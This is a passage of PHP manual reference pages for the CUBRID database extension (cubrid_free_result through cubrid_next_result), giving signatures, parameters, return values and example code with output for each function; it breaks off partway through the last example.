This function frees the memory occupied by the result data. It returns TRUE on success or FALSE on failure. Note that it can only frees the client fetch buffer now, and if you want free all memory, use function cubrid_close_request().

Parameters

req_identifier

This is the request identifier.

Return Values

TRUE on success.

FALSE on failure.

Examples

Example #1 cubrid_free_result() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM history WHERE host_year=2004 ORDER BY event_code");
$row = cubrid_fetch_assoc($req);
var_dump($row);

cubrid_free_result($req);
cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(5) {
  ["event_code"]=>
  string(5) "20005"
  ["athlete"]=>
  string(12) "Hayes Joanna"
  ["host_year"]=>
  string(4) "2004"
  ["score"]=>
  string(5) "12.37"
  ["unit"]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.
cubrid_fetch
cubrid_get_autocommit
CUBRID Functions


Get auto-commit mode of the connection

cubrid_free_result
cubrid_get_charset
CUBRID Functions
PHP Manual

cubrid_get_autocommit

(PECL CUBRID >= 8.4.0)

cubrid_get_autocommit — Get auto-commit mode of the connection

Description

bool cubrid_get_autocommit ( resource $conn_identifier )

The cubrid_get_autocommit() function is used to get the status of CUBRID database connection auto-commit mode.

In CUBRID PHP, an auto-commit mode is disabled by default for transaction management.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

See Also

  • cubrid_set_autocommit() - Set autocommit mode of the connection
  • cubrid_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.
cubrid_free_result
cubrid_get_charset
CUBRID Functions


Return the current CUBRID connection charset

cubrid_get_autocommit
cubrid_get_class_name
CUBRID Functions
PHP Manual

cubrid_get_charset

(PECL CUBRID >= 8.3.0)

cubrid_get_charset — Return the current CUBRID connection charset

Description

string cubrid_get_charset ( resource $conn_identifier )

This function returns the current CUBRID connection charset and is similar to the CUBRID MySQL compatible function cubrid_client_encoding().

Parameters

conn_identifier

The CUBRID connection.

Return Values

A string that represents the CUBRID connection charset; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_charset() example

<?php

$con = cubrid_connect("localhost", 33000, "demodb");
if (!$con)
{
    die('Could not connect.');
}

printf("CUBRID current charset: %s\n", cubrid_client_encoding($con));

?>

The above example will output:

CUBRID current charset: iso8859-1

See Also

  • cubrid_client_encoding() - Return the current CUBRID connection charset

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_autocommit
cubrid_get_class_name
CUBRID Functions


Get the class name using OID

cubrid_get_charset
cubrid_get_client_info
CUBRID Functions
PHP Manual

cubrid_get_class_name

(PECL CUBRID >= 8.3.0)

cubrid_get_class_name — Get the class name using OID

Description

string cubrid_get_class_name ( resource $conn_identifier , string $oid )

The cubrid_get_class_name() function is used to get the class name from oid.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

Return Values

Class name when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_get_class_name() example

<?php
$conn = cubrid_connect("localhost", 33088, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$class_name = cubrid_get_class_name($conn, $oid);

print_r($class_name);

cubrid_disconnect($conn);
?>

The above example will output:

code

See Also

  • cubrid_is_instance() - Check whether the instance pointed by OID exists
  • cubrid_drop() - Delete an instance using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_charset
cubrid_get_client_info
CUBRID Functions


Return the client library version

cubrid_get_class_name
cubrid_get_db_parameter
CUBRID Functions
PHP Manual

cubrid_get_client_info

(PECL CUBRID >= 8.3.0)

cubrid_get_client_info — Return the client library version

Description

string cubrid_get_client_info ( void )

This function returns a string that represents the client library version.

Parameters

Return Values

A string that represents the client library version; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_client_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            8.3.1.0005

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.3.1.0173
Client Info:                   8.3.1

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_class_name
cubrid_get_db_parameter
CUBRID Functions


Returns the CUBRID database parameters

cubrid_get_client_info
cubrid_get_query_timeout
CUBRID Functions
PHP Manual

cubrid_get_db_parameter

(PECL CUBRID >= 8.3.0)

cubrid_get_db_parameter — Returns the CUBRID database parameters

Description

array cubrid_get_db_parameter ( resource $conn_identifier )

This function returns the CUBRID database parameters or it returns FALSE on failure. It returns an associative array with the values for the following parameters:

  • PARAM_ISOLATION_LEVEL
  • PARAM_LOCK_TIMEOUT
  • PARAM_MAX_STRING_LENGTH
  • PARAM_AUTO_COMMIT

Database parameters
Parameter | Description
PARAM_ISOLATION_LEVEL | The transaction isolation level.
LOCK_TIMEOUT | CUBRID provides the lock timeout feature, which sets the waiting time (in seconds) for the lock until the transaction lock setting is allowed. The default value of the lock_timeout_in_secs parameter is -1, which means the application client will wait indefinitely until the transaction lock is allowed.
PARAM_AUTO_COMMIT | In CUBRID PHP, an auto-commit mode is disabled by default for transaction management. It can be set by using cubrid_set_autocommit().

The following table shows the isolation levels from 1 to 6. It consists of table schema (row) and isolation level:

Levels of Isolation Supported by CUBRID
Name | Description
SERIALIZABLE (6) | In this isolation level, problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.
REPEATABLE READ CLASS with REPEATABLE READ INSTANCES (5) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience phantom read for the record R that was inserted by another transaction T2 when it is repeatedly retrieving a specific record.
REPEATABLE READ CLASS with READ COMMITTED INSTANCES (or CURSOR STABILITY) (4) | Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R read (non-repeatable read) that was updated and committed by another transaction T2 when it is repeatedly retrieving the record R.
REPEATABLE READ CLASS with READ UNCOMMITTED INSTANCES (3) | Default isolation level. Another transaction T2 cannot update the schema of table A while transaction T1 is viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.
READ COMMITTED CLASS with READ COMMITTED INSTANCES (2) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is viewing table A repeatedly. Transaction T1 may experience R' read (non-repeatable read) for the record that was updated and committed by another transaction T2 while it is retrieving the record R repeatedly.
READ COMMITTED CLASS with READ UNCOMMITTED INSTANCES (1) | Transaction T1 may experience A' read (non-repeatable read) for the table that was updated and committed by another transaction T2 while it is repeatedly viewing table A. Transaction T1 may experience R' read (dirty read) for the record that was updated but not committed by another transaction T2.

Parameters

conn_identifier

The CUBRID connection. If the connection identifier is not specified, the last link opened by cubrid_connect() is assumed.

Return Values

An associative array with CUBRID database parameters; on success.

FALSE on failure.

Changelog

Version | Description
8.4.0 | Change LOCK_TIMEOUT to PARAM_LOCK_TIMEOUT, and MAX_STRING_LENGTH to PARAM_MAX_STRING_LENGTH in result.

Examples

Example #1 cubrid_get_db_parameter() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            8.3.1.0005

PARAM_ISOLATION_LEVEL          3
PARAM_LOCK_TIMEOUT             -1
PARAM_MAX_STRING_LENGTH        1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.3.1.0173
Client Info:                   8.3.1

CUBRID Charset:                iso8859-1

See Also

  • cubrid_set_db_parameter() - Sets the CUBRID database parameters
  • cubrid_get_autocommit() - Get auto-commit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_client_info
cubrid_get_query_timeout
CUBRID Functions


Get the query timeout value of the request

cubrid_get_db_parameter
cubrid_get_server_info
CUBRID Functions
PHP Manual

cubrid_get_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_get_query_timeout — Get the query timeout value of the request

Description

int cubrid_get_query_timeout ( resource $req_identifier )

The cubrid_get_query_timeout() function is used to get the query timeout of the request.

Parameters

req_identifier

Request identifier.

Return Values

Success: the query timeout value of the current request. Units of msec.

Failure: FALSE

Examples

Example #1 cubrid_get_query_timeout() example

<?php

$host = "localhost";
$port = 33000;
$db = "demodb";

$conn =
cubrid_connect_with_url("CUBRID:$host:$port:$db:::?&login_timeout=50000&query_timeout=5000&disconnect_on_query_timeout=yes");

$req = cubrid_prepare($conn, "SELECT * FROM code");

$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_set_query_timeout($req, 1000);
$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_close($conn);
?>

The above example will output:

int(5000)
int(1000)

See Also

  • cubrid_set_query_timeout() - Set the timeout time of query execution

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_db_parameter
cubrid_get_server_info
CUBRID Functions


Return the CUBRID server version

cubrid_get_query_timeout
cubrid_get
CUBRID Functions
PHP Manual

cubrid_get_server_info

(PECL CUBRID >= 8.3.0)

cubrid_get_server_info — Return the CUBRID server version

Description

string cubrid_get_server_info ( resource $conn_identifier )

This function returns a string that represents the CUBRID server version.

Parameters

conn_identifier

The CUBRID connection.

Return Values

A string that represents the CUBRID server version; on success.

FALSE on failure.

Examples

Example #1 cubrid_get_server_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

The above example will output:

CUBRID PHP Version:            8.3.1.0005

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              0

Server Info:                   8.3.1.0173
Client Info:                   8.3.1

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_query_timeout
cubrid_get
CUBRID Functions


Get a column using OID

cubrid_get_server_info
cubrid_insert_id
CUBRID Functions
PHP Manual

cubrid_get

(PECL CUBRID >= 8.3.0)

cubrid_get — Get a column using OID

Description

mixed cubrid_get ( resource $conn_identifier , string $oid [, mixed $attr ] )

The cubrid_get() function is used to get the attribute of the instance of the given oid. You can get single attribute by using string data type for the attr argument, or many attributes by using array data type for the attr argument.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr

Name of the attribute that you want to read.

Return Values

Content of the requested attribute, when process is successful; When attr is set with string data type, the result is returned as a string; when attr is set with array data type (0-based numerical array), then the result is returned in associative array. When attr is omitted, then all attributes are received in array form.

FALSE when process is unsuccessful or result is NULL (If error occurs to distinguish empty string from NULL, then it prints the warning message. You can check the error by using cubrid_error_code())

Examples

Example #1 cubrid_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

See Also

  • cubrid_put() - Update a column using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get_server_info
cubrid_insert_id
CUBRID Functions


Return the ID generated for the lastest updated AUTO_INCREMENT column

cubrid_get
cubrid_is_instance
CUBRID Functions
PHP Manual

cubrid_insert_id

(PECL CUBRID >= 8.3.0)

cubrid_insert_id — Return the ID generated for the lastest updated AUTO_INCREMENT column

Description

string cubrid_insert_id ([ resource $conn_identifier ] )

The cubrid_insert_id() function retrieves the ID generated for the AUTO_INCREMENT column which is updated by the previous INSERT query. It returns 0 if the previous query does not generate new rows, or FALSE on failure.

Note:

CUBRID supports AUTO_INCREMENT for more than one columns in a table. In most cases, there will be a single AUTO_INCREMENT column in a table. If there are multiple AUTO_INCREMENT columns, this function should not be used even if it will return a value.

Parameters

conn_identifier

The connection identifier previously obtained by a call to cubrid_connect().

Return Values

A string representing the ID generated for an AUTO_INCREMENT column by the previous query, on success.

0, if the previous query does not generate new rows.

FALSE on failure.

Changelog

Version | Description
8.4.0 | Change the return value from an array to string; Remove the first parameter class_name.

Examples

Example #1 cubrid_insert_id() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d int AUTO_INCREMENT(1, 2), t varchar)");

for ($i = 0; $i < 10; $i++) {
    cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

$id = cubrid_insert_id();
var_dump($id);

cubrid_disconnect($conn);
?>

The above example will output:

string(2) "19"

User Contributed Notes

There are no user contributed notes for this page.
cubrid_get
cubrid_is_instance
CUBRID Functions


Check whether the instance pointed by OID exists

cubrid_insert_id
cubrid_lob_close
CUBRID Functions
PHP Manual

cubrid_is_instance

(PECL CUBRID >= 8.3.0)

cubrid_is_instance — Check whether the instance pointed by OID exists

Description

int cubrid_is_instance ( resource $conn_identifier , string $oid )

The cubrid_is_instance() function is used to check whether the instance pointed by the given oid exists or not.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

Return Values

1, if such instance exists;

0, if such instance does not exist;

-1, in case of error

Examples

Example #1 cubrid_is_instance() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT host_year, medal, game_date
FROM game
WHERE athlete_code IN
    (SELECT code FROM athlete WHERE name='Thorpe Ian');
EOD;

$req = cubrid_execute($conn, $sql, CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);

$res = cubrid_is_instance ($conn, $oid);
if ($res == 1) {
    echo "Instance pointed by $oid exists.\n";
} else if ($res == 0){
    echo "Instance pointed by $oid doesn't exist.\n";
} else {
    echo "error\n";
}

cubrid_disconnect($conn);
?>

The above example will output:

Instance pointed by @0|0|0 doesn't exist.

See Also

  • cubrid_drop() - Delete an instance using OID
  • cubrid_get_class_name() - Get the class name using OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_insert_id
cubrid_lob_close
CUBRID Functions


Close BLOB/CLOB data

cubrid_is_instance
cubrid_lob_export
CUBRID Functions
PHP Manual

cubrid_lob_close

(PECL CUBRID >= 8.3.1)

cubrid_lob_close — Close BLOB/CLOB data

Description

bool cubrid_lob_close ( array $lob_identifier_array )

cubrid_lob_close() is used to close all BLOB/CLOB returned from cubrid_lob_get().

Parameters

lob_identifier_array

LOB identifier array return from cubrid_lob_get.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_close() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.
cubrid_is_instance
cubrid_lob_export
CUBRID Functions


Export BLOB/CLOB data to file

cubrid_lob_close
cubrid_lob_get
CUBRID Functions
PHP Manual

cubrid_lob_export

(PECL CUBRID >= 8.3.1)

cubrid_lob_export — Export BLOB/CLOB data to file

Description

bool cubrid_lob_export ( resource $conn_identifier , resource $lob_identifier , string $path_name )

cubrid_lob_export() is used to get BLOB/CLOB data from CUBRID database, and saves its contents to a file. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

Parameters

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

path_name

Path name of the file.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_export() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lob_close
cubrid_lob_get
CUBRID Functions


Get BLOB/CLOB data

cubrid_lob_export
cubrid_lob_send
CUBRID Functions
PHP Manual

cubrid_lob_get

(PECL CUBRID >= 8.3.1)

cubrid_lob_get — Get BLOB/CLOB data

Description

array cubrid_lob_get ( resource $conn_identifier , string $sql )

cubrid_lob_get() is used to get BLOB/CLOB meta info from CUBRID database, CUBRID gets BLOB/CLOB by executing the SQL statement, and returns all LOBs as a resource array. Be sure that the SQL retrieves only one column and its data type is BLOB or CLOB.

Remember to use cubrid_lob_close() to release the LOBs if you don't need it any more.

Parameters

conn_identifier

Connection identifier.

sql

SQL statement to be executed.

Return Values

Return an array of LOB resources, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_get() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lob_export
cubrid_lob_send
CUBRID Functions


Read BLOB/CLOB data and send straight to browser

cubrid_lob_get
cubrid_lob_size
CUBRID Functions
PHP Manual

cubrid_lob_send

(PECL CUBRID >= 8.3.1)

cubrid_lob_send — Read BLOB/CLOB data and send straight to browser

Description

bool cubrid_lob_send ( resource $conn_identifier , resource $lob_identifier )

cubrid_lob_send() reads BLOB/CLOB data and passes it straight through to the browser. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

Parameters

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_send() example

<?php
$lobs = cubrid_lob_get($con, "SELECT image FROM person WHERE id=1");
Header("Content-type: image/jpeg");
cubrid_lob_send($conn, $lobs[0]);
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lob_get
cubrid_lob_size
CUBRID Functions


Get BLOB/CLOB data size

cubrid_lob_send
cubrid_lock_read
CUBRID Functions
PHP Manual

cubrid_lob_size

(PECL CUBRID >= 8.3.1)

cubrid_lob_size — Get BLOB/CLOB data size

Description

string cubrid_lob_size ( resource $lob_identifier )

cubrid_lob_size() is used to get BLOB/CLOB data size.

Parameters

lob_identifier

LOB identifier.

Return Values

A string representing LOB data size, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.4.0 | Change return value type from int to string.

Examples

Example #1 cubrid_lob_size() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
echo "Doc size:".cubrid_lob_size($lobs[0]);
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lob_send
cubrid_lock_read
CUBRID Functions


Set a read lock on the given OID

cubrid_lob_size
cubrid_lock_write
CUBRID Functions
PHP Manual

cubrid_lock_read

(PECL CUBRID >= 8.3.0)

cubrid_lock_read — Set a read lock on the given OID

Description

bool cubrid_lock_read ( resource $conn_identifier , string $oid )

The cubrid_lock_read() function is used to put read lock on the instance pointed by given oid.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put read lock on.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lock_read() example

<?php
$conn = cubrid_connect("localhost", 33088, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_read($conn, $oid);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

See Also

  • cubrid_lock_write() - Set a write lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lob_size
cubrid_lock_write
CUBRID Functions


Set a write lock on the given OID

cubrid_lock_read
cubrid_move_cursor
CUBRID Functions
PHP Manual

cubrid_lock_write

(PECL CUBRID >= 8.3.0)

cubrid_lock_write — Set a write lock on the given OID

Description

bool cubrid_lock_write ( resource $conn_identifier , string $oid )

The cubrid_lock_write() function is used to put write lock on the instance pointed by the given oid.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put write lock on.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lock_write() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_write($conn, $oid);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

See Also

  • cubrid_lock_read() - Set a read lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lock_read
cubrid_move_cursor
CUBRID Functions


Move the cursor in the result

cubrid_lock_write
cubrid_next_result
CUBRID Functions
PHP Manual

cubrid_move_cursor

(PECL CUBRID >= 8.3.0)

cubrid_move_cursor — Move the cursor in the result

Description

int cubrid_move_cursor ( resource $req_identifier , int $offset [, int $origin = CUBRID_CURSOR_CURRENT ] )

The cubrid_move_cursor() function is used to move the current cursor location of req_identifier by the value set in the offset argument, to the direction set in the origin argument. To set the origin argument, you can use CUBRID_CURSOR_FIRST for the first part of the result, CUBRID_CURSOR_CURRENT for the current location of the result, or CUBRID_CURSOR_LAST for the last part of the result. If origin argument is not explicitly designated, then the function uses CUBRID_CURSOR_CURRENT as its default value.

If the value of cursor movement range goes over the valid limit, then the cursor moves to the next location after the valid range for the cursor. For example, if you move 20 units in the result with the size of 10, then the cursor will move to 11th place and return CUBRID_NO_MORE_DATA.

Parameters

req_identifier

Request identifier.

offset

Number of units you want to move the cursor.

origin

Location where you want to move the cursor from CUBRID_CURSOR_FIRST, CUBRID_CURSOR_CURRENT, CUBRID_CURSOR_LAST.

Return Values

CUBRID_CURSOR_SUCCESS, when process is successful.

CUBRID_NO_MORE_DATA, when it is not a valid cursor location.

CUBRID_CURSOR_ERROR, in case of error.

Examples

Example #1 cubrid_move_cursor() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_move_cursor($req, 1, CUBRID_CURSOR_LAST);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_CURRENT);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(2) {
  [0]=>
  string(1) "G"
  [1]=>
  string(4) "Gold"
}
array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
cubrid_lock_write
cubrid_next_result
CUBRID Functions


Get result of next query when executing multiple SQL statements

cubrid_move_cursor
cubrid_num_cols
CUBRID Functions
PHP Manual

cubrid_next_result

(PECL CUBRID >= 8.4.0)

cubrid_next_result — Get result of next query when executing multiple SQL statements

Description

bool cubrid_next_result ( resource $result )

The cubrid_next_result() function is used to get results of next query if multiple SQL statements are executed and CUBRID_EXEC_QUERY_ALL flag is set upon cubrid_execute().

Parameters

result

result comes from a call to cubrid_execute()

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_next_result() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb");

$sql_stmt = "SELECT * FROM code; SELECT * FROM history WHERE host_year=2004 AND event_code=20281";
$res = cubrid_execute($conn, $sql_stmt, CUBRID_EXEC_QUERY_ALL);

get_result_info($res);
cubrid_next_result($res);
get_result_info($res);

function get_result_info($req)
{
    printf("\n------------ get_result_info --------------------\n");

    $row_num = cubrid_num_rows($req);
    $col_num = cubrid_num_cols($req);

    $column_name_list = cubrid_column_names($req);
    $column_type_list = cubrid_column_types($req);

    $column_last_name = cubrid_field_name($req, $col_num - 1);
    $column_last_table = cubrid_field_table($req, $col_num - 1);

    $column_last_type = cubrid_field_type($req, $col_num - 1);
